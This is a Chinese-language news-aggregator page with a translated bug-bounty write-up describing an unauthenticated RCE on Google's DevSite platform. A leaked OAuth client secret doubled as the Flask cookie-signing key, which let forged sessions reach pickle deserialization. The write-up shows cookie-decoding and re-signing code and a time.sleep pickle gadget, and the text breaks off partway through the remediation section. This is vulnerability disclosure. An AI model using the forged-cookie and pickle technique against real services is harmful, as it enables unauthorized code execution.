返回

文章详情

我在谷歌发现了一个9万美元的远程代码执行漏洞

Hacker News2026年10月12日 07:28

我如何发现这个漏洞。我在映射谷歌开发者文档网站所共有的OAuth流程。你访问/oauth2authorize,它会设置一个Flask会话cookie并将你重定向到谷歌的登录页面。无需账户:curl -s -D headers.txt -o /dev/null 'https://developers.google.com/oauth2authorize?return_url=%2F' 这个cookie引起了我的注意。Flask通常的三部分session=<payload>.<timestamp>.<signature>,但大约1200字节,远超CSRF令牌和返回URL所需的量。所以我解码了它。Flask会话cookie是签名的,而不是加密的,因此任何持有cookie的人都可以直接看到内容。前导的点意味着有效负载是zlib压缩的: import base64 import json import pickletools import zlib payload, timestamp, signature = cookie.rsplit(".", 2) def b64decode(value): return base64.urlsafe_b64decode(value + "=" * (-len(value) % 4)) compressed = payload.startswith(".") raw = b64decode(payload[1:] if compressed else payload) session = json.loads(zlib.decompress(raw) if compressed else raw) 这给了我: { "_permanent": true, "google_oauth2_csrf_token": "...", "google_oauth2_flow_<csrf>": { "b": "..." } } "b"键是Flask标记一个字节值。Base64解码它给了我一个pickle,而pickletools.dis打印出了一个oauth2client.client.OAuth2WebServerFlow对象及其字段: client_id = "<redacted>.apps.googleusercontent.com" client_secret = b"<redacted>" 这个cookie包含一个pickle序列化的有效负载,本身就是一个问题。它还以明文方式携带了谷歌的OAuth client_id和client_secret。(这里隐去了密钥;在写作时它仍然是有效的。)我尝试将client_secret作为Flask的SECRET_KEY,并且签发的cookie上的签名验证通过。签名密钥存储在它所签名的对象内部。 一个密钥,两个任务 client_secret在cookie中泄露本身就是一个发现。值得注意的是,同一个值验证了签名,因此我确保了这一点,而不是相信一个幸运的猜测。Flask通过其dangerous库使用cookie-session键派生进行签名,所以我离线重新计算了签名: import hmac derived_key = hmac.digest(client_secret, b"cookie-session", "sha1") expected = hmac.digest(derived_key, f"{payload}.{timestamp}".encode(), "sha1") expected字节逐字与我几秒钟前获得的cookie上的签名完全相同。为了确保这不是偶然,我翻转了签名中的一个字符(被拒绝)并用恢复的密钥重新签名了原始有效负载(被接受)。会话完整性消失了。我可以设置会话中的每一个键和值,仍然生成一个服务器会接受的签名。 从伪造cookie到代码执行 回调会从会话中读取流程并解压: session cookie -> verify Flask signature -> read google_oauth2_flow_<csrf> -> base64-decode the bytes -> pickle.loads(...) 如果你没有玩过pickle:REDUCE操作码命名一个可调用对象及其参数,解压时只是调用它。公开的签名密钥加上这个sink就是未经身份验证的RCE。我不打算在谷歌的生产环境上运行命令,因此我用时间证明了这一点。有效负载减少到了time.sleep(N): class Sleep: def __init__(self, seconds): self.seconds = seconds def __reduce__(self): return (time.sleep, (self.seconds,)) 每次都是相同的伪造会话,只是数字不同: time.sleep(0) -> 0.207 s time.sleep(3) -> 3.193 s time.sleep(5) -> 5.194 s time.sleep(8) -> 8.283 s 响应时间跟踪了pickle中的数字,这仅在服务器导入时间并实际调用sleep(N)时发生。然后是控制措施,以排除慢端点或抖动: 没有cookie:无效请求。 签名中的一个翻转字节:无效请求。 有效签名,没有流程条目:无效请求状态。 有效签名与真实流程:已到达谷歌的令牌交换,并因我的伪造身份验证代码而稍后失败,返回invalid_grant。 有效签名与sleep有效负载:正好延迟了我选择的数字。 它走了多远 这不是一个单一的应用程序,而是共享的DevSite平台,因此来自developers.google.com的密钥签署了有效会话: firebase.google.com developer.android.com source.android.com docs.partner.android.com 修复它 四件事必须改变,并且它们相互堆叠:轮换所有暴露的OAuth client secrets,并杀掉每个会话……

赞助内容

NordVPN Next-gen Antivirus

本站免费、广告极少。如果觉得有帮助,可以请我们喝杯咖啡 —— 任何金额都对持续运营有实际帮助。

☕请我喝杯咖啡